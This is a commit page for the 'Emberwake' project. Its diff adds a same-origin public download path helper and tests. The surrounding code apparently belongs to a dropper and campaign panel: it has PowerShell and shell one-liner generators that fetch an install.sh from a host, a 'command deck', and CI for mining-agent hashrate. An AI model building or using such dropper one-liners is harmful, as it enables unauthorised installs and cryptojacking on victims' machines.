Fix Emberwake downloads by appending blob anchors before click.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
ZIP exports and public download links silently failed because blob saves skipped document.body appendChild (unlike Builds DownloadButton) and public links pointed at the command-deck URL instead of same-origin paths.
This commit is contained in:
@@ -4,6 +4,7 @@ import {
|
||||
combinedDropperQuery,
|
||||
ps1Oneliner,
|
||||
shOneliner,
|
||||
publicDownloadPath,
|
||||
publicDownloadUrl,
|
||||
} from './emberwake';
|
||||
|
||||
@@ -24,7 +25,11 @@ describe('emberwake URL helpers', () => {
|
||||
expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
|
||||
});
|
||||
|
||||
it('public download URL', () => {
|
||||
it('public download path for same-origin dashboard links', () => {
|
||||
expect(publicDownloadPath('build-1', 'c1')).toBe('/api/v1/public/download/build-1?c=c1');
|
||||
});
|
||||
|
||||
it('public download URL for external sharing', () => {
|
||||
expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
|
||||
'http://host/api/v1/public/download/build-1?c=c1',
|
||||
);
|
||||
|
||||
@@ -38,8 +38,14 @@ export function getUrl(baseUrl: string, query = ''): string {
|
||||
return `${baseUrl.replace(/\/$/, '')}/get${query}`;
|
||||
}
|
||||
|
||||
/** Same-origin path for in-dashboard download links (always hits the current browser host). */
|
||||
export function publicDownloadPath(buildId: string, campaign = ''): string {
|
||||
const q = campaignQuery(campaign);
|
||||
return `/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
|
||||
}
|
||||
|
||||
/** Full URL for sharing/copy — uses command deck base from campaign setup. */
|
||||
export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
|
||||
const base = origin.replace(/\/$/, '');
|
||||
const q = campaignQuery(campaign);
|
||||
return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
|
||||
return `${base}${publicDownloadPath(buildId, campaign)}`;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user